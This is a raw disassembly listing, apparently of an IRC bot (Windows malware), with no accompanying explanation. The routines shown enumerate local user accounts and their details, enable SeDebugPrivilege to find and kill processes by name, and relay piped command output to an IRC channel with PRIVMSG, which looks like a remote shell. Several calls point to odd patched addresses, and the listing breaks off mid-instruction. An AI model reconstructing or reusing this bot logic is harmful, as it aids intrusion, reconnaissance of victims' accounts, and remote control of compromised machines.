loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CAE7C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CAE6C pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CAFFC test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_4391A8 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB034 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CAF04 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439398 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_439364 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB034 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB034 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DABC0 call sub_41B886 pop ecx mov eax, offset dword_4DABC0 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26B0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CAFB4 test eax, eax jnz short loc_419623 mov esi, offset dword_4DA9BC push offset unk_4396CC push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DA9BC push eax push offset dword_4396A0 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 270069Ah push eax call dword_4CAF88 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CAF60 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CB010 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] nop call near ptr 26508EFh mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CAFC4, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CAFA8, ebx jz loc_4198BB cmp dword_4CAEB8, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CAFC4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CAFA8 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CAEB8 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_4396F8 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax nop call near ptr 2840000h test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439758 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax nop call near ptr 26F0AF0h test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CAFC4 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CAE64 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CAEB8 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call near ptr 26F0AF0h nop test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4398F8 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_4398D4 jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_4398B0 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi call near ptr 26D0000h nop pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 26702E7h mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi call near ptr 26F0AF0h nop test eax, eax jnz short loc_4199FB push esi xor edi, edi nop call near ptr 26508EFh loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 4396F4h, 65E2E890h, 0E3EB0225h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB228 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB230 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB224 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB22C call near ptr 26E0000h nop test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D158 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h nop call near ptr 2670000h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFF4 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB234 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB228 call near ptr 28409E2h nop test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB224 call near ptr 28404EFh nop test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah nop call near ptr 2670000h jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB228 nop call near ptr 26F0000h test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB268 call sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; --------------------------------------------------------------------------- loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_439980 push ebx push dword_4DB268 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 nop call near 